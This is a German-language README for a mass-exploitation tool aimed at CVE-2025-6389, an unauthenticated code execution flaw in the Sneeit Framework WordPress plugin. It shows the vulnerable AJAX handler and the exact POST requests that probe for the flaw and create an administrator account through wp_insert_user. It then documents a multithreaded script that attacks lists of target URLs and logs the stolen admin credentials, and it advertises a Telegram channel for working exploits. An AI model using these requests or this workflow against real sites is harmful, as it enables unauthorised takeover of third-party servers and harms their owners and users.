
Sneeit Framework <= 8.3 – Nicht authentifizierte Remote-Codeausführung in sneeit_articles_pagination_callback
Sneeit Framework <= 8.3 – Nicht authentifizierte Remote-Code-Ausführung in sneeit_articles_pagination_callback
_______ ________ ___ ___ ___ _____ __ ____ ___ ___
/ ____\ \ / / ____| |__ \ / _ \__ \| ____| / /|___ \ / _ \ / _ \
| | \ \ / /| |__ ______ ) | | | | ) | |__ ______ / /_ __) | (_) | (_) |
| | \ \/ / | __|______/ /| | | |/ /|___ \______| '_ \|__ < > _ < \__, |
| |____ \ / | |____ / /_| |_| / /_ ___) | | (_) |__) | (_) | / /
\_____| \/ |______| |____|\___|/____|____/ \___/____/ \___/ /_/
📡 Verpassen Sie nicht den nächsten Drop. Folgen Sie @KNxploited auf Telegram – dem definitiven Kanal für frisch veröffentlichte CVEs, funktionierende Exploits und erstklassige Sicherheitsforschung. Der Erste, der es weiß. Der Erste, der handelt.
CVE-2025-6389 ist eine CVSS 9.8 kritische Remote-Code-Ausführungs-Schwachstelle im Sneeit Framework-Plugin für WordPress.
Der Fehler steckt in der Funktion sneeit_articles_pagination_callback(), die blind benutzergesteuerte Eingaben an PHP's call_user_func() übergibt – ein nicht authentifizierter Angreifer kann jede PHP-Funktion mit beliebigen Argumenten aufrufen, einschließlich wp_insert_user, und sich so effektiv vollständigen Administrationszugriff verschaffen oder beliebigen serverseitigen Code ausführen.
| Feld | Details |
|---|---|
| CVE-ID | CVE-2025-6389 |
| Plugin | Sneeit Framework (sneeit-framework) |
| Betroffene Versionen | Alle Versionen bis einschließlich 8.3 |
| Schwachstellentyp | Remote-Code-Ausführung (RCE) |
| Angriffsvektor | Netzwerk – Keine Authentifizierung erforderlich |
| CVSS 3.1 Score | 9.8 KRITISCH |
| CVSS-Vektor | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Auswirkung | Vollständige Server-Kompromittierung / Admin-Übernahme |
| Forscher | Nxploited |
Die Ursache ist der Missbrauch von PHP's call_user_func() im AJAX-Handler des Plugins:
// Registriert ohne Authentifizierungsprüfung
add_action('wp_ajax_nopriv_sneeit_articles_pagination', 'sneeit_articles_pagination_callback');
function sneeit_articles_pagination_callback() {
$callback = $_POST['callback']; // ← Vom Benutzer gesteuerter Funktionsname
$args = json_decode(stripslashes($_POST['args']), true); // ← Vom Benutzer gesteuerte Argumente
// Aufruf BELIEBIGER PHP-Funktion mit BELIEBIGEN Argumenten – keinerlei Validierung
$result = call_user_func($callback, ...$args);
echo $result;
die();
}
Warum dies kritisch ist:
wp_ajax_nopriv_* = zugänglich für jeden, kein Login erforderlichcall_user_func($callback, $args) = beliebiger Funktionsaufrufvar_dump, system, wp_insert_user, eval oder jede andere PHP/WordPress-Funktion aufrufenSchritt 1 – Sondierung / Fingerabdruck
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
action = sneeit_articles_pagination
callback = var_dump
args = ["test"]
Erwartete Antwort → array(1) { [0]=> string(4) "test" }
↓
Bestätigt: call_user_func() ist erreichbar und gibt Ausgabe zurück
──────────────────────────────────────────────────────────────────
Schritt 2 – Erstellung eines Administratorkontos
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
action = sneeit_articles_pagination
callback = wp_insert_user
args = {"user_login":"Nxploited_XXXX",
"user_pass":"xplpass",
"user_email":"...",
"role":"administrator"}
Ergebnis → Neues Administratorkonto stillschweigend auf dem Ziel erstellt
↓
Vollständiger WordPress-Admin-Panel-Zugriff erreicht ✔️
pip install requests rich
| Abhängigkeit | Zweck |
|---|---|
requests | HTTP-Anfragen mit Sitzungs-/Proxy-Unterstützung |
rich | Live-Terminal-Dashboard, Panels, Fortschritt |
threading | Gleichzeitige Mehrfachziel-Verarbeitung |
queue | Threadsichere Zielverteilung |
Python 3.8+ erforderlich. Typannotationen verwenden die in 3.9+ eingeführte
tuple[...]-Syntax – für beste Kompatibilität Python 3.9+ verwenden.
CVE-2025-6389/
├── CVE-2025-6389.py # Haupt-Exploit-Skript
├── list.txt # Ziel-URLs – eine pro Zeile
├── success_results.txt # Automatisch generiert: erfolgreiche Ziele + Anmeldedaten
└── debug_responses/ # Automatisch generiert: rohe Serverantworten zum Debuggen
└── <target>.resp.txt
Erstellen Sie list.txt mit einer URL pro Zeile:
https://target1.com
https://target2.com
http://target3.com
URLs ohne
http://oderhttps://werden automatisch mithttp://versehen.
python CVE-2025-6389.py
Sie werden zur Eingabe aufgefordert:
Name der Zieldatei (Standard list.txt): list.txt
Anzahl der Threads (Standard 10): 20
Das Skript startet ein Echtzeit-Rich-Dashboard mit:
┌─────────────────────────────────────────────────────────────────────┐
│ [ASCII BANNER] │
├──────────────────────────────┬──────────────────────────────────────┤
│ Info │ Statistiken │
│ Verwendung: Ziele in... │ Gesamtziele: 150 │
│ Threads: 20 │ Verarbeitet: 87 │
│ Passwort: xplpass │ Erfolge: 12 │
│ Erfolgsprotokoll: success... │ Fehlschläge: 75 │
│ Debug-Verzeichnis: debug_responses │ Verstrichene Zeit: 00:01:43 │
├──────────────────────────────┴──────────────────────────────────────┤
│ Aktuelle Ergebnisse │
│ Zeit Ziel Ergebnis │
│ 14:23:01 https://victim.com ERFOLG │
│ 14:23:03 https://example.net FEHLGESCHLAGEN │
└─────────────────────────────────────────────────────────────────────┘
Erfolgreiche Exploits werden in success_results.txt gespeichert:
https://victim.com | USER: Nxploited_4821 | PASS: xplpass | EMAIL: [email protected]